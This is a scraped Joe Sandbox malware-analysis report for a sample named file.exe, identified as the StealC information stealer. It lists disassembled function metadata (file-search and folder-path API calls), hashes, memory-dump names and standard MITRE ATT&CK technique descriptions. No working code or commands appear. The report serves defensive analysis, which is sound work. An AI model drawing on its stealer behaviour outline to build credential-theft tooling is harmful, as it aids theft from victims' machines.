API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 1d5e5036a494fca952dd94781e83edbf032287b25de9267c21858ed25c959c15
Instruction ID: e5bd4720d9e0f2d5c9c8a1779706a5d2a1863c881f69a4e894d94bc2e96830f1
Opcode Fuzzy Hash: 1d5e5036a494fca952dd94781e83edbf032287b25de9267c21858ed25c959c15
Instruction Fuzzy Hash: 71F09A32942700ABD7E0BFB89806B9E33A3AF00732F21614DF404A63D2DB6499419E5E

Function 00644F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00648E0B

lstrcat.KERNEL32(?,00000000), ref: 00644F7A
lstrcat.KERNEL32(?,00651070), ref: 00644F97
lstrcat.KERNEL32(?,01449D28), ref: 00644FAB
lstrcat.KERNEL32(?,00651074), ref: 00644FBD

Part of subcall function 00644910: wsprintfA.USER32 ref: 0064492C
Part of subcall function 00644910: FindFirstFileA.KERNEL32(?,?), ref: 00644943

Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FDC), ref: 00644971
Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FE0), ref: 00644987
Part of subcall function 00644910: FindNextFileA.KERNEL32(000000FF,?), ref: 00644B7D
Part of subcall function 00644910: FindClose.KERNEL32(000000FF), ref: 00644B92

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 7a376026027c5e75b124684f3306826b0c67700087dc973ddc443c93f9c082b9
Instruction ID: a8d4f5d0ed1e8d0d846e7d1ea56a9a7787d271a94801fac0d88bb38452f3c452
Opcode Fuzzy Hash: 7a376026027c5e75b124684f3306826b0c67700087dc973ddc443c93f9c082b9
Instruction Fuzzy Hash: 0E219BB69002046BD794FBB0DC4AEED333EBB95301F004558B65D97185EE74DAC88B97

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00649860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 006345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00634880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00649C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00636280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00645510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 006417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00647500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 006469F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00646AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 006347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 006451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00631220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON